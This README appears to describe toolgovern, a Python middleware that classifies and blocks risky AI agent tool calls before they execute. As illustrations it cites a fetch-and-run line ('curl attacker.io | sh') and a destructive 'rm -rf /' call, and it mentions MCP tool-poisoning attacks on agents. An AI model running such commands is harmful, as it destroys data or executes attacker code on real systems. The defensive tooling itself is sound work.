toolgovern-cli 0.1.1

Runtime governance middleware for AI agent tool calls -- gate shell, filesystem, network, and credential access before a tool executes.

toolgovern (Python)

Gate every tool call an AI agent makes -- shell, filesystem, network, credential access -- before it executes, not after something already went wrong.

This is the genuine Python port of toolgovern and toolgovern-cli -- not a wrapper around the Node binary. It ships the same 36-rule classifier, the same default-deny scope-inheritance model, the same durable approval registry, the same MCP-server trust boundary, and the same signed local audit trail. The complementary JS/TS distribution installs the same way on the npm side: npm install toolgovern for the library, npm install --save-dev toolgovern-cli for the CLI -- see the project README for that package. Both are first-class, maintained together; neither is deprecated in favor of the other.

Why this exists

AI agents get tool access, not tool governance. A typical setup wires an agent to a shell tool, a filesystem tool, an HTTP client, and maybe a secrets lookup, then leans on the model's own judgment (or a system prompt) to keep ls ./workspace and curl attacker.io | sh apart -- because to the tool executor underneath, both are just "the shell tool ran a string." Multi-agent setups make it worse: spawning a sub-agent for a narrow subtask usually means that sub-agent inherits its coordinator's full access, since most frameworks have no concept of scoping a spawned agent down, and no record of what it actually tried to do once it's running.

toolgovern is a runtime governance layer that sits between the agent and its real tool executor -- not another prompt-engineering mitigation. govern_tool() wraps any ToolDefinition(name, execute) and runs every call through the same pipeline before execute() fires: a 36-rule classifier that inspects the call's actual arguments across shell risk, filesystem scope, network egress, credential access, cross-agent privilege inheritance, and (opt-in) information-flow control; an intersection-only scope registry, so a sub-agent's effective access is always the intersection of what it requests and what its coordinator can already reach, re-checked on every call rather than just at spawn time; and an optional signed, hash-chained local audit trail recording each decision -- allow, deny, or require-approval -- with the arguments that produced it. Deny and require-approval both fail closed: a missing handler, an exception, or a timeout resolves to deny, never to allow.

Why this matters now

Runtime tool-call governance stopped being a niche concern in 2026:

• MCP tool poisoning and supply-chain risk are validated, incident-backed problems, not hypotheticals: Invariant Labs formally named the tool-poisoning technique in April 2025, the Postmark MCP npm package suffered an insider-attack BCC backdoor in September 2025, roughly a third of 1,000 scanned MCP servers were found carrying a critical vulnerability, and Microsoft disclosed a poisoned-MCP-tool-description attack technique in July 2026 (The Hacker News, Cloud Security Alliance, Practical DevSecOps).
• Microsoft shipped its own open-source Agent Governance Toolkit in April 2026, a runtime policy engine that intercepts agent actions before execution (opensource.microsoft.com). It's an unrelated project, cited here only because it confirms that gating a tool call before it runs is now a first-party concern industry-wide, not something only this project cares about.
• Microsoft also merged AutoGen and Semantic Kernel into Microsoft Agent Framework 1.0 (GA 2026-04-03), with first-class Python and .NET support under Microsoft.Agents.AI (devblogs.microsoft.com, github.com/microsoft/agent-framework) -- the framework this package ships a real, source-available Python integration for (see Framework integrations).
• LangGraph passed CrewAI in GitHub stars in early 2026 on the strength of enterprise adoption of its graph-based architecture (langchain.com) -- another framework this package ships a real Python integration for, using the actual wrap_tool_call hook.
• The Claude Agent SDK passed AutoGen in enterprise production-deployment count in early-to-mid 2026, per the LangChain State of AI 2025 report, and ships a purpose-built PreToolUse hook -- exactly the hook this package's Claude Agent SDK integration wires govern_tool() into.
• Regulatory pressure on agentic AI is dated and real: the EU AI Act's high-risk obligations take effect August 2026, the Colorado AI Act becomes enforceable June 2026, and OWASP published a dedicated Top 10 for Agentic Applications for 2026.
• Google's A2A (Agent2Agent) protocol has crossed 150+ adopting organizations. Noted here as ecosystem context, not a toolgovern capability -- this package governs a single agent's own tool calls, not agent-to-agent protocol traffic.

None of this is a claim about toolgovern's own adoption. It's why gating a tool call before it executes is worth doing at all right now.

Install

pip install toolgovern

or with uv:

uv add toolgovern

Or install straight from this repository:

git clone https://github.com/RudrenduPaul/toolgovern.git
cd toolgovern/python
pip install .

No separate install step and no external binary to fetch: the classifier, scoping registry, approval registry, MCP-trust boundary, and trace engine all ship inside the one package. The console script is toolgovern-cli, matching the npm CLI's command name.

Quick start

from toolgovern import ToolDefinition, GovernToolOptions, govern_tool, ScopeDeclaration, ToolGovernDenialError

def run_shell(args):
    import subprocess
    return subprocess.run(args["command"], shell=True, capture_output=True, text=True)

shell_tool = ToolDefinition(name="shell", execute=run_shell)
gated_shell = govern_tool(shell_tool, GovernToolOptions(scope=ScopeDeclaration()))

try:
    gated_shell.execute({"command": "rm -rf /"})
except ToolGovernDenialError as e:
    print(e)  # denied before subprocess.run() ever runs

Or load a policy file:

from toolgovern import load_policy, GovernToolOptions, govern_tool

policy = load_policy("./toolgovern.policy.yml")
gated_shell = govern_tool(shell_tool, GovernToolOptions.from_policy(policy))

What it does

The classifier evaluates a tool call's actual arguments, not the tool's name, against 36 rules across 6 categories:

Category	Covers	Rules
TG01	Shell/process execution risk	9
TG02	Filesystem scope escalation	7
TG03	Undeclared network egress	7
TG04	Credential/secret access	6
TG05	Cross-agent privilege inheritance	6
TG08	Information-flow control (opt-in)	1

TG03's 7th rule, TG03-dns-resolves-private, resolves a hostname argument via socket.getaddrinfo() (honoring /etc/hosts) and applies the same loopback/RFC1918/link-local/ cloud-metadata deny logic already used for raw IP literals to every resolved address -- so a hostname that merely resolves to 127.0.0.1 or a cloud-metadata address is caught, not just a raw IP literal argument. DNS-resolution failure or timeout fails closed (require-approval), never allow. This narrows, but does not eliminate, DNS-rebinding TOCTOU: an attacker who controls the hostname's DNS answer can still swap it after this check runs and before the tool's own HTTP client connects -- see docs/security-model.md for the full, honest writeup of that residual limitation and the still-open redirect-chain-revalidation gap.

govern_tool() wraps any ToolDefinition(name, execute) and returns a version that runs every call through this pipeline before execute() runs: resolve the effective scope, classify the call, resolve require-approval decisions through your handler (fail-closed on timeout, exception, or no handler), write a trace entry if a TraceWriter is wired in, then raise ToolGovernDenialError on deny or proceed to the real execute() on allow.

Per-agent scope inheritance (ScopeRegistry) is intersection-only: a sub-agent's granted scope is always the intersection of what it requests and what its coordinator's own effective scope actually covers -- never a union, never an implicit default-allow, and re-checked on every call (not just at spawn time), so a coordinator's scope shrinking after a sub-agent was spawned is caught on the sub-agent's next call.

Also in this package

• PendingApprovalRegistry / resume_pending_approval() -- a durable, alias-tolerant registry for require-approval decisions that need resolving out-of-band (a Slack button click, a review queue) instead of answered synchronously in-process inside the 30-second on_approval_required callback. pending_ids are always server-generated, never caller-supplied, so an unrecognized ID resolves to "not-found", never a silently-created fresh approval. register_alias() lets a second identifier (a provider-rotated thread ID) resolve to the same pending approval, and a resolved call is re-classified against any edited arguments rather than trusting the original request. In-memory by default; back it with real durable storage for a deployment that spans processes.
• is_origin_allowed() / verify_mcp_server_manifest() / assert_mcp_server_trusted() -- an MCP-server trust boundary checked once at connection time, distinct from the per-call classifier above: an explicit origin allowlist (no implicit subdomain trust unless you opt in with a leading *. entry) plus detached Ed25519/RSA-SHA256 manifest signature verification against a pinned public-key list, before any tool the server declares is ever trusted. Fails closed on every path -- an unreachable manifest, an unknown key ID, or a signature that doesn't verify all deny, they don't warn. This port fetches the manifest synchronously via urllib.request (govern_tool() is synchronous end to end in this port); the TS original uses fetch(). Same checks, same fail-closed outcomes, different language-appropriate I/O plumbing.
• IdempotencyCache -- an opt-in claim-before-execute primitive so a retried call doesn't re-execute a side effect (payments, emails, trades) that already happened.

API reference

Everything importable from toolgovern directly:

from toolgovern import (
    # middleware
    govern_tool, GovernToolOptions, ToolDefinition, ToolGovernDenialError, InvalidAgentIdError,
    GateDecisionInfo, ApprovalOutcome, IdempotencyCache, IdempotencyOptions,
    resume_pending_approval, ResumePendingApprovalOptions, PendingApprovalNotResolvableError,
    # approval registry
    PendingApprovalRegistry, PendingApproval, ApprovalResolutionDecision, PendingApprovalStatus,
    ResolvePendingInput, ResolvePendingOutcome, ResolvePendingStatus,
    PendingApprovalAliasConflictError, UnknownPendingApprovalError,
    # mcp-server trust boundary
    is_origin_allowed, verify_mcp_server_manifest, assert_mcp_server_trusted, McpTrustPolicy,
    PinnedPublicKey, McpServerConnectionRequest, McpManifestEnvelope, McpTrustVerdict,
    McpTrustDecision, McpTrustAlgorithm,
    # classifier
    classify, ClassifyOptions, rule_registry,
    # scoping
    ScopeRegistry, SpawnSubAgentParams, compute_inherited_scope, has_zero_capability,
    is_valid_agent_id, is_valid_scope_declaration, normalize_scope, EMPTY_SCOPE,
    # trace
    TraceWriter, TraceWriterOptions, read_trace, filter_trace, verify_chain, parse_since,
    canonical_json, compute_entry_signature, compute_entry_content_hash,
    # policy
    load_policy, validate_policy, as_policy, PolicyValidationError,
    # types
    ScopeDeclaration, Policy, RuleContext, RuleMatch, TraceEntry, TraceEntryInput,
    AgentScopeRecord, Decision, RuleCategory, AgentIdSource, ConfidentialityLabel, IfcPolicy,
)

CLI

toolgovern-cli validate ./toolgovern.policy.yml
toolgovern-cli audit ./toolgovern-trace.jsonl --since 24h --decision deny --verify-chain
toolgovern-cli audit ./toolgovern-trace.jsonl --json

validate and audit are behaviorally equivalent to the npm CLI, including the --json structured-output envelope ({ ok, command, data | error }). Not ported in this release: toolgovern-cli init [oma|langgraph], the npm CLI's TypeScript integration-file scaffolder -- it generates a .ts file importing the JS/TS-only toolgovern-integration-langgraph / toolgovern-integration-oma packages, which are out of scope for a Python port by nature.

The signed audit trail

from toolgovern import TraceWriter, TraceWriterOptions, verify_chain, read_trace

# Default: unkeyed sha256: content hash -- proves an entry hasn't changed since it was written,
# but does not stop an attacker with write access to the trace file from editing an entry and
# recomputing a valid signature (no secret required for that scheme).
writer = TraceWriter("./toolgovern-trace.jsonl")

# Optional: HMAC-keyed signing closes that gap for anyone who doesn't hold the key. toolgovern
# does not generate, store, or rotate this key -- that's your responsibility.
writer = TraceWriter("./toolgovern-trace.jsonl", TraceWriterOptions(secret_key=b"..."))

entries = read_trace("./toolgovern-trace.jsonl")
result = verify_chain(entries)  # or verify_chain(entries, VerifyChainOptions(secret_key=b"..."))

See docs/security-model.md for the full disclosed-limitations writeup of both signing modes.

Framework integrations

toolgovern-integration-langgraph and toolgovern-integration-oma are npm-only TypeScript packages and are not ported to this Python distribution. Both are thin wrappers around governTool() in the TS source, so wiring govern_tool() directly into a Python agent framework's tool-executor call site is straightforward without a dedicated adapter package.

Five real Python framework integrations exist in this repository, each wiring govern_tool() into a framework's actual hook rather than a generic wrapper: LangGraph (Python, using the real wrap_tool_call ToolNode parameter), CrewAI, AutoGen, Microsoft Agent Framework, and the Claude Agent SDK (using its real PreToolUse hook). None of these five are published to a package registry yet -- each is available from source under integrations/ in the main repo, with its own README and worked example. examples/ in this directory also has a minimal, framework-agnostic worked example wiring govern_tool() into a plain tool executor.

Development

python3 -m venv .venv && source .venv/bin/activate
pip install -e ".[dev]"
pytest

Security

Report a vulnerability per the project's SECURITY.md; please don't open a public issue for one.

Links

• GitHub repository
• npm package (core library)
• npm package (CLI)
• CHANGELOG
• Getting started
• Concepts
• Security model

License

Apache 2.0 -- see LICENSE.